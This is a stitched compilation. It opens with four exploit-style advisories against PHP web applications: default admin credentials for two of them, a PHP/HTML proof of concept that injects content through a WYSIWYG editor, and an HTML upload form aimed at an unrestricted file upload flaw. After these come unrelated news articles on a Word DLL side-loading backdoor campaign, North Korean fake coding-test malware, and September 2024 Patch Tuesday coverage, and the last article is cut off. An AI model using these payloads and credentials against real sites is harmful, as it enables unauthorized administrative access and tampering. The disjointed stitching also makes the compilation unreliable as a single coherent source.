Online Birth Certificate System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Online Birth Certificate System 1.0 Insecure Settings Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/online-birth-certificate-system-using-php-and-mysql/                                        |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/obcs/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Online Birth Certificate System 1.0 Insecure Settings

Medical Card Generations System version 1.0 suffers from an ignored default credential vulnerability.

    ====================================================================================================================================| # Title     : Medical Card Generations System 1.0 Insecure Settings Vulnerability                                                || # Author    : indoushka                                                                                                          || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 130.0.0 (64 bits)                                                   || # Vendor    : https://phpgurukul.com/medical-card-generation-system-using-php-and-mysql/                                         |====================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] Insecure Settings : appears to leave a default administrative account in place post installation.[+] use payload :     Username: admin      Password: Test@123[+] http://127.0.0.1/mcgs/admin/dashboard.phpGreetings to :==================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R |================================================================

Medical Card Generations System 1.0 Insecure Settings

Emergency Ambulance Hiring Portal version 1.0 suffer from a WYSIWYG code injection vulnerability.

=============================================================================================================================================  
| # Title     : Emergency Ambulance Hiring Portal 1.0 (WYSIWYG) code injection Vulnerability                                                |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://phpgurukul.com/emergency-ambulance-hiring-portal-using-php-and-mysql/                                               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Part 01 : about-us.php

[+] This payload injects code of your choice into the database via NicEdit is a WYSIWYG editor V: 0.9 r25 which is called inside the file /hms/admin/about-us.php . 

   [+] Line 2  :  Make sure to include your database connection here

[+] Line 44 :  Send the form data using fetch API (Set your target url)

[+] save payload as poc.php in your localhost path .

[+] payload : 

<?php  
include('http://127.0.0.1/eahp/admin/includes/dbconnection.php'); // Make sure to include your database connection here

if (isset($_POST['submit'])) {  
    $pagetitle = $_POST['pagetitle'];  
    $pagedes = $con->real_escape_string($_POST['pagedes']);  
    $query = mysqli_query($con, "UPDATE tblpage SET PageTitle='$pagetitle', PageDescription='$pagedes' WHERE PageType='aboutus'");

    if ($query) {  
        echo '<script>alert("About Us has been updated.")</script>';  
    } else {  
        echo '<script>alert("Something Went Wrong. Please try again.")</script>';  
    }  
    exit;  
}  
?>

<!DOCTYPE html>  
<html lang="en">  
<head>  
    <meta charset="UTF-8">  
    <meta name="viewport" content="width=device-width, initial-scale=1.0">  
    <title>indoushka | Update About Us Content</title>  
      
    <script src="http://js.nicedit.com/nicEdit-latest.js" type="text/javascript"></script>  
    <script type="text/javascript">  
        // Apply NicEdit to all text areas when the DOM is loaded  
        bkLib.onDomLoaded(nicEditors.allTextAreas);

        // Function to handle form submission using JavaScript  
        function submitForm(event) {  
            event.preventDefault(); // Prevent default form submission

            const pagetitle = document.getElementById('pagetitle').value;  
            const pagedes = nicEditors.findEditor('pagedes').getContent(); // Get the NicEdit content

            // Prepare the form data to be sent  
            const formData = new FormData();  
            formData.append('pagetitle', pagetitle);  
            formData.append('pagedes', pagedes);  
            formData.append('submit', true);

            // Send the form data using fetch API  
            fetch('http://127.0.0.1/eahp/admin/about-us.php', {  
                method: 'POST',  
                body: formData,  
            })  
            .then(response => response.text())  
            .then(data => {  
                alert('About Us content has been updated successfully.');  
                console.log(data); // Handle the response from the server  
            })  
            .catch(error => {  
                console.error('Error:', error);  
            });  
        }  
    </script>  
    <style>  
        /* Center the form container */  
        .editor-container {  
            max-width: 800px;  
            margin: 0 auto; /* Center horizontally */  
            padding: 20px;  
            text-align: center; /* Center the content inside */  
        }

        /* Ensure the textarea takes the full width */  
        #pagedes {  
            width: 100%;  
            height: 300px;  
            margin: 0 auto;  
        }  
    </style>  
</head>  
<body>  
    <div id="app">  
        <div class="app-content">  
            <div class="main-content">  
                <div class="wrap-content container" id="container">  
                      
                    <section id="page-title">  
                        <div class="row">  
                            <div class="col-sm-8">  
                                <h1 class="mainTitle">Update the About Us Content</h1>  
                            </div>

                                                          </li>  
                            </ol>  
                        </div>  
                    </section>  
                      
                    <div class="container-fluid container-fullw bg-white">  
                        <div class="row">  
                            <div class="col-md-12">  
                                  
                                <div class="editor-container">  
                                    <form class="forms-sample" method="post" onsubmit="submitForm(event);">  
                                        <div class="form-group">  
                                            <label for="pagetitle">Page Title</label>  
                                            <input id="pagetitle" name="pagetitle" type="text" class="form-control" required>  
                                        </div>  
                                        <div class="form-group">  
                                            <label for="pagedes">Page Description</label>  
                                              
                                            <textarea class="form-control" name="pagedes" id="pagedes" rows="12"></textarea>  
                                        </div>  
                                        <button type="submit" class="btn btn-primary mr-2" name="submit">Submit</button>  
                                    </form>  
                                </div>  
                            </div>  
                        </div>  
                    </div>  
                      
                </div>  
            </div>  
        </div>  
    </div>  
      
</body>  
</html>

Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Emergency Ambulance Hiring Portal 1.0 WYSIWYG Code Injection

Printable Staff ID Card Creator System version 1.0 suffers from an insecure direct object reference vulnerability.

=============================================================================================================================================  
| # Title     : printable staff id card creator system 1.0 idor Vulnerability                                                               |  
| # Author    : indoushka                                                                                                                   |  
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 129.0.1 (64 bits)                                                            |  
| # Vendor    : https://www.campcodes.com/downloads/printable-staff-id-card-creator-system-source-code/?wpdmdl=6749&refresh=66bbc00367bf91723580419               |  
=============================================================================================================================================

poc :

[+] Dorking İn Google Or Other Search Enggine.

[+] Insecure direct object reference: Suffering from an insecure direct object reference that allows users to upload and execute remote files. .

[+] Line : 8 Set your Target

[+] Save As poc.html

[+] payload :

<<div class="modal-content" style="font-size: 14px; font-family: Times New Roman;color:black;">  
      <div class="modal-header" style="background:#222d32">  
        <button type="button" class="close" data-dismiss="modal">×</button>  
        <h4 class="modal-title" style="font-weight: bold;color: #F0F0F0"><center>  
          SYSTEM INFORMATION INITIALISATION  
          </center></h4>  
      </div>  
        <form method="post" action="http://127.0.0.1/Staff_registration/upload.php" enctype="multipart/form-data">            

      <div class="modal-body">           
        <center>   
            <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp;&nbsp;Org Name:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgname"></span></p>  
              <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;Phone:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgphone"></span></p>  
            <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;Email:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgemail"></span></p>  
               <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">&nbsp; &nbsp;&nbsp;&nbsp;Website:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgwebsite"></span></p>  
               <p style="margin-bottom:10px;"><span style="font-size: 18px; font-weight: bold;">Active Year:<label style="color: red;font-size:20px;">*</label><input style="width:270px;" type="text" name="orgyear"></span></p>  
                  Attach Organisation Logo:(<h7 style="color:red">Make sure it is a transparent image</h7>)<input name="filed" type="file" id="filed">  
                                      <input type="hidden" name="page" value="admin.php">                                                                      
         </center>  
      </div>  
      <div class="modal-footer">  
        <input type="submit" class="btn btn-success" value="Finish" id="addmember" name="orginitial"> &nbsp;  
        <button type="button" class="btn btn-success" data-dismiss="modal">Close</button>  
      </div>  
      </form></div>

    Greetings to :============================================================  
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |  
==========================================================================

Printable Staff ID Card Creator System 1.0 Insecure Direct Object Reference

An attack dubbed "WordDrone" that uses an old flaw to install a backdoor could be related to previously reported cyber incidents against Taiwan's military and satellite industrial supply chain.

Source: Ron Ardity via Alamy Stock Photo

Attackers are weaponizing an "ancient" version of Microsoft Word in a recent wave of attacks on Taiwanese drone makers that's delivering malware aimed at cyber espionage and disrupting the military- and satellite-related industrial supply chains.

Researchers from the Acronis Threat Research Unit have discovered an attack they've dubbed "WordDrone" that uses a dynamic link library (DLL) side-loading technique common in the installation process of Microsoft Word, to install a persistent backdoor called ClientEndPoint on infected systems.

The Acronis team members discovered the unusual attack vector when they investigated a customer escalation from Taiwan "about a strangely behaving process of an ancient version of Microsoft Word," they wrote in a blog post published Sept. 10.

"Three files were brought to the system: a legitimate copy of Winword 2010, a signed wwlib.dll file, and a file with a random name and file extension," they wrote in the post. "Microsoft Word was used to side load the malicious 'wwlib' DLL, which acts as a loader for the actual payload, the one residing inside the encrypted file with a random name."

They eventually found similar two-stage attack scenarios across multiple environments between April and July this year. The first stage of the attacks focuses on Windows desktop machines, while the second stage sees attackers trying to move over to Windows servers, the researchers said.

**Similarities to "TIDrone" Campaign**

It's unclear if the attack vector is related to a similar wave of cyber incidents against Taiwanese drone makers by a threat actor dubbed "TIDrone" reported by researchers at Trend Micro. That actor, linked to other Chinese-speaking threat groups, uses enterprise resource planning (ERP) software or remote desktop tools to deploy proprietary malware.

Similarly, the WordDrone attack also appears to have an ERP component, the researchers said. While they couldn't find "definitive evidence about how attackers were gaining initial access," the first appearance of the malicious files in the attack was inside the folder of a popular Taiwanese ERP software called Digiwin.

"Upon further investigation, we found multiple components of Digiwin … being deployed in the target environments," the researchers wrote. Moreover, some of Digiwin's components contained known vulnerabilities like CVE-2024-40521, a remote code execution (RCE) flaw with a CVSS score of 8.8.

"Based on all the information collected, we believe that there is high probability of exploitation or a supply chain attack being involved with the ERP software in question," the researchers noted.

**Targeting a Side-Loading Flaw**

The attack leverages a side-loading vulnerability in an old version of Winword (v14.0.4762.1000) allowing attackers to use it to load a DLL that has a name matching the original supplied by Microsoft.

"In the very same directory where Winword was located, we could see only two additional files, a ... DLL called wwlib.dll, which is normally part of a standard Microsoft Office installation package — this time having an unusually small size — and another file called 'gimaqkwo.iqq' which already looked suspicious," the researchers explained.

Upon further inspection, the wwlib library turned out to be acting as a loader with the sole purpose of reading the main payload that is stored in the encrypted "gimaqkwo.iqq" file in the same directory, they said. The file name of the payload — the ClientEndPoint backdoor — is stored in an encrypted form in the loader.

The backdoor has functionality typical to this type of malware, including the ability to listen in on user sessions, send and receive commands from the attacker-controlled command and control (C2), and exfiltrate data and send it back to the C2. It also has a proxy configuration mode in which one infected host can receive data and commands from another infected host on the local network while only one of them is in direct communication with the C2.

**Why Target Taiwanese Drone Makers?**

The fact that two separate security research teams have been investigating a spate of cyberattacks against Taiwanese drone makers brings up the question of motive on the part of attackers, which the Acronis team attempted to address.

Drone manufacturing has increased remarkably in Taiwan since 2022, with significant financial backing from the government, the researchers noted. There currently are about a dozen Taiwanese companies in the space  — often providing components for original equipment manufacturers (OEMs) — and even more if the country's global aerospace industry is taken into consideration, they said.

This investment in drone manufacturing and the considerable technological prowess of Taiwan, as well as its position as a US ally, "make them a prime target for adversaries interested in military espionage or supply chain attacks," the researchers observed.

"The extreme growth of the drone industry in the past decade also had an unfortunate side effect — even consumer models are used for military purposes now," they wrote in the post.

The research team shared their intelligence with Taiwan's appropriate cybersecurity authorities and included a list of indicators of compromise (IoCs) in the blog post. As drone makers of all sizes could be targeted by WordDrone attacks, defenders should be mindful of any suspicious activity, especially as it relates to older versions of Microsoft Word that might be present in their environment. Small businesses in the sector in particular should be mindful and shore up defenses, the researchers wrote, "as traditional AV solutions are no longer efficient against the type of advanced threats they might face in the near future."

Don't miss the latest Dark Reading Confidential podcast, where we talk to two cybersecurity professionals who were arrested in Dallas County, Iowa and forced to spend the night in jail -- just for doing their pen-testing jobs. Listen now!

**About the Author**

Elizabeth Montalbano is a freelance writer, journalist, and therapeutic writing mentor with more than 25 years of professional experience. Her areas of expertise include technology, business, and culture. Elizabeth previously lived and worked as a full-time journalist in Phoenix, San Francisco, and New York City; she currently resides in a village on the southwest coast of Portugal. In her free time, she enjoys surfing, hiking with her dogs, traveling, playing music, yoga, and cooking.

'Ancient' MSFT Word Bug Anchors Taiwanese Drone-Maker Attacks

Cybersecurity researchers have uncovered a new set of malicious Python packages that target software developers under the guise of coding assessments.
"The new samples were tracked to GitHub projects that have been linked to previous, targeted attacks in which developers are lured using fake job interviews," ReversingLabs researcher Karlo Zanki said.
The activity has been assessed to be part of

Malware / Software Development

Cybersecurity researchers have uncovered a new set of malicious Python packages that target software developers under the guise of coding assessments.

"The new samples were tracked to GitHub projects that have been linked to previous, targeted attacks in which developers are lured using fake job interviews," ReversingLabs researcher Karlo Zanki said.

The activity has been assessed to be part of an ongoing campaign dubbed VMConnect that first came to light in August 2023. There are indications that it is the handiwork of the North Korea-backed Lazarus Group.

The use of job interviews as an infection vector has been adopted widely by North Korean threat actors, either approaching unsuspecting developers on sites such as LinkedIn or tricking them into downloading rogue packages as part of a purported skills test.

These packages, for their part, have been published directly on public repositories like npm and PyPI, or hosted on GitHub repositories under their control.

ReversingLabs said it identified malicious code embedded within modified versions of legitimate PyPI libraries such as pyperclip and pyrebase.

"The malicious code is present in both the \_\_init\_\_.py file and its corresponding compiled Python file (PYC) inside the \_\_pycache\_\_ directory of respective modules," Zanki said.

It's implemented in the form of a Base64-encoded string that obscures a downloader function that establishes contact with a command-and-control (C2) server in order to execute commands received as a response.

In one instance of the coding assignment identified by the software supply chain firm, the threat actors sought to create a false sense of urgency by requiring job seekers to build a Python project shared in the form of a ZIP file within five minutes and find and fix a coding flaw in the next 15 minutes.

This makes it "more likely that he or she would execute the package without performing any type of security or even source code review first," Zanki said, adding "that ensures the malicious actors behind this campaign that the embedded malware would be executed on the developer's system."

Some of the aforementioned tests claimed to be a technical interview for financial institutions like Capital One and Rookery Capital Limited, underscoring how the threat actors are impersonating legitimate companies in the sector to pull off the operation.

It's currently not clear how widespread these campaigns are, although prospective targets are scouted and contacted using LinkedIn, as recently also highlighted by Google-owned Mandiant.

"After an initial chat conversation, the attacker sent a ZIP file that contained COVERTCATCH malware disguised as a Python coding challenge, which compromised the user's macOS system by downloading a second-stage malware that persisted via Launch Agents and Launch Daemons," the company said.

The development comes as cybersecurity company Genians revealed that the North Korean threat actor codenamed Konni is intensifying its attacks against Russia and South Korea by employing spear-phishing lures that lead to the deployment of AsyncRAT, with overlaps identified with a campaign codenamed CLOUD#REVERSER (aka puNK-002).

Some of these attacks also entail the propagation of a new malware called CURKON, a Windows shortcut (LNK) file that serves as a downloader for an AutoIt version of Lilith RAT. The activity has been linked to a sub-cluster tracked as puNK-003, per S2W.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Developers Beware: Lazarus Group Uses Fake Coding Tests to Spread Malware

Microsoft on Tuesday disclosed that three new security flaws impacting the Windows platform have come under active exploitation as part of its Patch Tuesday update for September 2024.
The monthly security release addresses a total of 79 vulnerabilities, of which seven are rated Critical, 71 are rated Important, and one is rated Moderate in severity. This is aside from 26 flaws that the tech

Windows Security / Vulnerability

Microsoft on Tuesday disclosed that three new security flaws impacting the Windows platform have come under active exploitation as part of its Patch Tuesday update for September 2024.

The monthly security release addresses a total of 79 vulnerabilities, of which seven are rated Critical, 71 are rated Important, and one is rated Moderate in severity. This is aside from 26 flaws that the tech giant resolved in its Chromium-based Edge browser since last month's Patch Tuesday release.

The three vulnerabilities that have been weaponized in a malicious context are listed below, alongside a bug that Microsoft is treating as exploited -

*   **CVE-2024-38014** (CVSS score: 7.8) - Windows Installer Elevation of Privilege Vulnerability
*   **CVE-2024-38217** (CVSS score: 5.4) - Windows Mark-of-the-Web (MotW) Security Feature Bypass Vulnerability
*   **CVE-2024-38226** (CVSS score: 7.3) - Microsoft Publisher Security Feature Bypass Vulnerability
*   **CVE-2024-43491** (CVSS score: 9.8) - Microsoft Windows Update Remote Code Execution Vulnerability

"Exploitation of both CVE-2024-38226 and CVE-2024-38217 can lead to the bypass of important security features that block Microsoft Office macros from running," Satnam Narang, senior staff research engineer at Tenable, said in a statement.

"In both cases, the target needs to be convinced to open a specially crafted file from an attacker-controlled server. Where they differ is that an attacker would need to be authenticated to the system and have local access to it to exploit CVE-2024-38226."

As disclosed by Elastic Security Labs last month, CVE-2024-38217 – also referred to as LNK Stomping – is said to have been abused in the wild as far back as February 2018.

CVE-2024-43491, on the other hand, is notable for the fact that it's similar to the downgrade attack that cybersecurity company SafeBreach detailed early last month.

"Microsoft is aware of a vulnerability in Servicing Stack that has rolled back the fixes for some vulnerabilities affecting Optional Components on Windows 10, version 1507 (initial version released July 2015)," Redmond noted.

"This means that an attacker could exploit these previously mitigated vulnerabilities on Windows 10, version 1507 (Windows 10 Enterprise 2015 LTSB and Windows 10 IoT Enterprise 2015 LTSB) systems that have installed the Windows security update released on March 12, 2024 — KB5035858 (OS Build 10240.20526) or other updates released until August 2024."

The Windows maker further said it can be resolved by installing the September 2024 Servicing stack update (SSU KB5043936) and the September 2024 Windows security update (KB5043083), in that order.

It's also worth pointing out that Microsoft's "Exploitation Detected" assessment for CVE-2024-43491 stems from the rollback of fixes that addressed vulnerabilities impacting some Optional Components for Windows 10 (version 1507) that have been previously exploited.

"No exploitation of CVE-2024-43491 itself has been detected," the company said. "In addition, the Windows product team at Microsoft discovered this issue, and we have seen no evidence that it is publicly known."

**Software Patches from Other Vendors**

In addition to Microsoft, security updates have also been released by other vendors over the past few weeks to rectify several vulnerabilities, including —

*   Adobe
*   Arm
*   Bosch
*   Broadcom (including VMware)
*   Cisco
*   Citrix
*   CODESYS
*   D-Link
*   Dell
*   Drupal
*   F5
*   Fortinet
*   Fortra
*   GitLab
*   Google Android and Pixel
*   Google Chrome
*   Google Cloud
*   Google Wear OS
*   Hitachi Energy
*   HP
*   HP Enterprise (including Aruba Networks)
*   IBM
*   Intel
*   Ivanti
*   Lenovo
*   Linux distributions Amazon Linux, Debian, Oracle Linux, Red Hat, Rocky Linux, SUSE, and Ubuntu
*   MediaTek
*   Mitsubishi Electric
*   MongoDB
*   Mozilla Firefox, Firefox ESR, Focus and Thunderbird
*   NVIDIA
*   ownCloud
*   Palo Alto Networks
*   Progress Software
*   QNAP
*   Qualcomm
*   Rockwell Automation
*   Samsung
*   SAP
*   Schneider Electric
*   Siemens
*   SolarWinds
*   SonicWall
*   Spring Framework
*   Synology
*   Veeam
*   Zimbra
*   Zoho ManageEngine ServiceDesk Plus, SupportCenter Plus, and ServiceDesk Plus MSP
*   Zoom, and
*   Zyxel

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Microsoft Issues Patches for 79 Flaws, Including 3 Actively Exploited Windows Flaws

Microsoft's September 2024 Patch Tuesday is here. Make sure you’ve applied the necessary patches!

Microsoft September 2024 Patch Tuesday addresses 79 security vulnerabilities, including four actively exploited zero-days. It covers critical flaws in Windows Installer, MoTW, Publisher, and Windows Update.

Microsoft’s September 2024 Patch Tuesday is packed with critical updates, addressing a total of 79 vulnerabilities, including four actively exploited flaws and one publicly disclosed zero-day. Seven of these vulnerabilities were rated as critical, most of which were either remote code execution (RCE) or elevation of privileges (EoP) flaws.

****Highlighting Critical Vulnerabilities********1\. Actively Exploited Vulnerabilities:****

Among the most urgent updates were four vulnerabilities that were being actively exploited by malicious actors. These vulnerabilities represent a major risk to users and organizations that have yet to apply the patches, as they were being used in real-world attacks before the patches were available.

****CVE-2024-38217 – Windows Mark of the Web (MoTW) Security Feature Bypass Vulnerability:****

This critical vulnerability allows attackers to bypass security warnings meant to protect users from opening files from untrusted sources. Attackers can manipulate these security features to deceive users into executing malicious files without triggering the standard MoTW prompts. This vulnerability has previously been linked to ransomware attacks, making it a high-priority fix.

****CVE-2024-43461 – Windows MSHTML Platform Spoofing Vulnerability:****

This vulnerability enables attackers to spoof legitimate web content, which can be leveraged for phishing attacks and unauthorized data theft. This flaw shares similarities with CVE-2024-38112, which was used by advanced persistent threat (APT) groups in zero-day attacks. Given the active exploitation of related vulnerabilities, CVE-2024-43461 has a high likelihood of being used in future attacks.

****2\. Zero-Day Vulnerabilities:********CVE-2024-43491 — Remote Code Execution in Windows Update:****

This critical vulnerability could allow attackers to remotely execute code by exploiting weaknesses in the Windows Update process, gaining control of affected systems.

****CVE-2024-38014 — Elevation of Privilege in Windows Installer:****

This vulnerability allows attackers to gain elevated privileges by exploiting flaws in the Windows Installer, providing them with administrative-level access to compromised systems.

****CVE-2024-38217 — Windows Mark of the Web (MoTW) Bypass Vulnerability:****

Attackers can bypass the security mechanisms of MoTW, which are designed to alert users about harmful files downloaded from the internet, leading to unauthorized code execution.

****CVE-2024-38226 — Microsoft Publisher Security Bypass:****

This flaw allows attackers to exploit the security features in Microsoft Publisher, enabling them to execute malicious code by bypassing standard file protections.

****Critical Vulnerabilities Fixed****

Seven vulnerabilities were marked as critical, primarily involving remote code execution (RCE) or elevation of privilege. These vulnerabilities include:

*   **CVE-2024-43455** – Windows Remote Desktop Protocol (RDP) RCE vulnerability, which could allow attackers to remotely execute code on a compromised system, gaining full control of the machine.
*   **CVE-2024-43456** – Windows Kernel EoP vulnerability, allowing attackers to escalate their privileges on a targeted system, gaining administrative rights.
*   **CVE-2024-43469** – A high-severity remote code execution vulnerability in Azure CycleCloud, allowing attackers to execute arbitrary code with limited privileges. It has a CVSS score of 8.8, making patching critical to prevent exploitation

****Recommendations and Mitigation****

Given the critical nature of many of these vulnerabilities, especially the actively exploited and publicly disclosed flaws, Microsoft strongly recommends that organizations prioritize patch deployment.

**Patch Management:** Enterprises should accelerate their patch management processes to mitigate risks associated with vulnerabilities like CVE-2024-38217 and CVE-2024-43461. These flaws are being actively exploited in the wild, posing substantial risks to unpatched systems.

**User Education:** Beyond technical protection, users must be made aware of the dangers of interacting with untrusted files and websites. This is important in mitigating the MoTW and spoofing vulnerabilities discussed earlier.

The complete list of vulnerabilities, along with guidance on mitigation strategies, can be found here on Microsoft’s official September 2024 Patch Tuesday update.

Saeed Abbasi, Manager of Vulnerability Research at Qualys Threat Research Unit, commented on Microsoft’s September 2024 Patch Tuesday, stressing the importance of applying the updates promptly to mitigate possible risks.

“CVE-2024-38217 vulnerability allows an attacker to manipulate the security warnings that typically inform users about the risks of opening files from unknown or untrusted sources and similar MoTW bypasses have historically been linked to ransomware attacks, where the stakes are high,” Saeed warned.

He further stressed “Given the exploit’s public disclosure and confirmed exploitation, it is a prime vector for cybercriminals to infiltrate corporate networks. Enterprises must prioritize patch management and educate users on the risks of downloading files from untrusted sources to mitigate the exploitation of such vulnerabilities.”  

“The CVE-2024-43461 vulnerability mirrors the patterns of CVE-2024-38112 where the exploitation might be repurposed against CVE-2024-43461 due to the similar attack vectors involved. There exists a high likelihood of exploitation, as this vulnerability enables attackers to spoof legitimate web content, leading to unauthorized actions such as phishing and data theft,” he added.

“This risk is highlighted by past incidents where similar vulnerabilities were actively exploited in the wild, posing substantial security challenges to corporate networks. Given the critical nature of this vulnerability, we recommend fast-tracking patch management processes to mitigate potential impacts,” Saeed advised.

1.  **Mailcow Patches XSS and File Overwrite Flaws – Update NOW**
2.  **Google Patches Flaws in Quick Share After Researchers’ Warning**
3.  **Broadcom: Urgent Patch for Severe VMware vCenter Server Flaws**
4.  **TellYouThePass Ransomware Exploits Critical PHP Flaw, Patch NOW**
5.  **PATCH NOW! Veeam Flaw Puts Thousands of Backup Servers at Risk**

Microsoft September 2024 Patch Tuesday Fixes 79 Flaws, Including 4 Zero-Days

Microsoft Corp. today released updates to fix at least 79 security vulnerabilities in its Windows operating systems and related software, including multiple flaws that are already showing up in active attacks. Microsoft also corrected a critical bug that has caused some Windows 10 PCs to remain dangerously unpatched against actively exploited vulnerabilities for several months this year.

**Microsoft Corp.** today released updates to fix at least 79 security vulnerabilities in its **Windows** operating systems and related software, including multiple flaws that are already showing up in active attacks. Microsoft also corrected a critical bug that has caused some **Windows 10** PCs to remain dangerously unpatched against actively exploited vulnerabilities for several months this year.

By far the most curious security weakness Microsoft disclosed today has the snappy name of CVE-2024-43491, which Microsoft says is a vulnerability that led to the rolling back of fixes for some vulnerabilities affecting “optional components” on certain Windows 10 systems produced in 2015. Those include Windows 10 systems that installed the monthly security update for Windows released in March 2024, or other updates released until August 2024.

**Satnam Narang**, senior staff research engineer at **Tenable**, said that while the phrase “exploitation detected” in a Microsoft advisory normally implies the flaw is being exploited by cybercriminals, it appears labeled this way with CVE-2024-43491 because the rollback of fixes reintroduced vulnerabilities that were previously know to be exploited.

“To correct this issue, users need to apply both the September 2024 Servicing Stack Update and the September 2024 Windows Security Updates,” Narang said.

**Kev Breen**, senior director of threat research at **Immersive Labs**, said the root cause of CVE-2024-43491 is that on specific versions of Windows 10, the build version numbers that are checked by the update service were not properly handled in the code.

“The notes from Microsoft say that the ‘build version numbers crossed into a range that triggered a code defect’,” Breen said. “The short version is that some versions of Windows 10 with optional components enabled was left in a vulnerable state.”

Zero Day #1 this month is CVE-2024-38226, and it concerns a weakness in **Microsoft Publisher**, a standalone application included in some versions of **Microsoft Office**. This flaw lets attackers bypass Microsoft’s “**Mark of the Web**,” a Windows security feature that marks files downloaded from the Internet as potentially unsafe.

Zero Day #2 is CVE-2024-38217, also a Mark of the Web bypass affecting Office. Both zero-day flaws rely on the target opening a booby-trapped Office file.

Security firm **Rapid7** notes that CVE-2024-38217 has been publicly disclosed via an extensive write-up, with exploit code also available on GitHub.

According to Microsoft, CVE-2024-38014, an “elevation of privilege” bug in the Windows Installer, is also being actively exploited.

June’s coverage of Microsoft Patch Tuesday was titled “Recall Edition,” because the big news then was that Microsoft was facing a torrent of criticism from privacy and security experts over “**Recall**,” a new artificial intelligence (AI) feature of Redmond’s flagship Copilot+ PCs that constantly takes screenshots of whatever users are doing on their computers.

At the time, Microsoft responded by suggesting Recall would no longer be enabled by default. But last week, the software giant clarified that what it really meant was that the ability to disable Recall was a bug/feature in the preview version of Copilot+ that will not be available to Windows customers going forward. Translation: New versions of Windows are shipping with Recall deeply embedded in the operating system.

It’s pretty rich that Microsoft, which already collects an insane amount of information from its customers on a near constant basis, is calling the Recall removal feature a bug, while treating Recall as a desirable feature. Because from where I sit, Recall is a feature nobody asked for that turns Windows into a bug (of the surveillance variety).

When Redmond first responded to critics about Recall, they noted that Recall snapshots never leave the user’s system, and that even if attackers managed to hack a Copilot+ PC they would not be able to exfiltrate on-device Recall data.

But that claim rang hollow after former Microsoft threat analyst **Kevin Beaumont** detailed on his blog how any user on the system (even a non-administrator) can export Recall data, which is just stored in an SQLite database locally.

As it is apt to do on Microsoft Patch Tuesday, Adobe has released updates to fix security vulnerabilities in a range of products, including **Reader** and **Acrobat**, **After Effects**, **Premiere Pro**, **Illustrator**, **ColdFusion**, **Adobe Audition**, and **Photoshop**. Adobe says it is not aware of any exploits in the wild for any of the issues addressed in its updates.

Seeking a more detailed breakdown of the patches released by Microsoft today? Check out the SANS Internet Storm Center’s thorough list. People responsible for administering many systems in an enterprise environment would do well to keep an eye on AskWoody.com, which often has the skinny on any wonky Windows patches that may be causing problems for some users.

As always, if you experience any issues applying this month’s patch batch, consider dropping a note in the comments here about it.

Bug Left Some Windows PCs Dangerously Unpatched

This month's Patch Tuesday contains a total of 79 vulnerabilities — the fourth largest of the year.

Source: CHIEW via Shutterstock

Attackers are already actively exploiting four of the 79 vulnerabilities for which Microsoft issued a patch this week as part of its monthly security update.

Two of the zero-day bugs give attackers a way to bypass critical security protections in Windows and therefore should be at the top of any organization's priority list for remediation.

One of the remaining zero-days is an elevation of privilege flaw that enables access to system-level privileges; the other is a bug that rolled back, or reintroduced, vulnerabilities in certain versions of Windows 10 for which Microsoft had previously issued patches.

In total, Microsoft's September update contained seven critical remote code execution (RCE) and elevation of privilege vulnerabilities. The company assessed 19 of the CVEs in its latest updates as vulnerabilities that attackers are more likely to exploit because they enable remote code execution, involve attacks that are low in complexity, require no user interaction, and exist in widely deployed products, as well as other factors.

**Security Bypass Zero-Days**

One of the security bypass vulnerabilities, tracked as CVE-2024-38226, affects Microsoft Publisher. It allows an attacker with authenticated access to a system to bypass Microsoft Office macros for blocking untrusted and malicious files. "An authenticated attacker could exploit the vulnerability by convincing a victim, through social engineering, to download and open a specially crafted file from a website which could lead to a local attack on the victim computer," Microsoft said. The company gave the vulnerability a moderate CVSS severity score of 6.8 of 10, presumably because an attacker would need to convince a user to open a malicious file in order for any exploit to work.

The other security bypass zero-day bug in Microsoft's September update is CVE-2024-38217, in the Windows Mark of the Web (MoTW) feature that is designed to protect users against potentially harmful files and content downloaded from the Web. The vulnerability allows an attacker to sneak malicious files past MoTW defenses and cause what Microsoft described as "limited loss" of integrity and availability of application reputation checks and other security features. Microsoft assigned CVE-2024-38217 a severity rating of 5 because to exploit it an attacker would need to convince potential victims to visit an attacker-controlled site and then download a malicious file from there.

"Exploitation of both CVE-2024-38226 and CVE-2024-38217 can lead to the bypass of important security features that block Microsoft Office macros from running," Satnam Narang, senior staff research engineer at Tenable, said in a statement. "In both cases, the target needs to be convinced to open a specially crafted file from an attacker-controlled server. Where they differ is that an attacker would need to be authenticated to the system and have local access to it to exploit CVE-2024-38226," he said.

**RCE and Privilege Escalation Zero-Days**

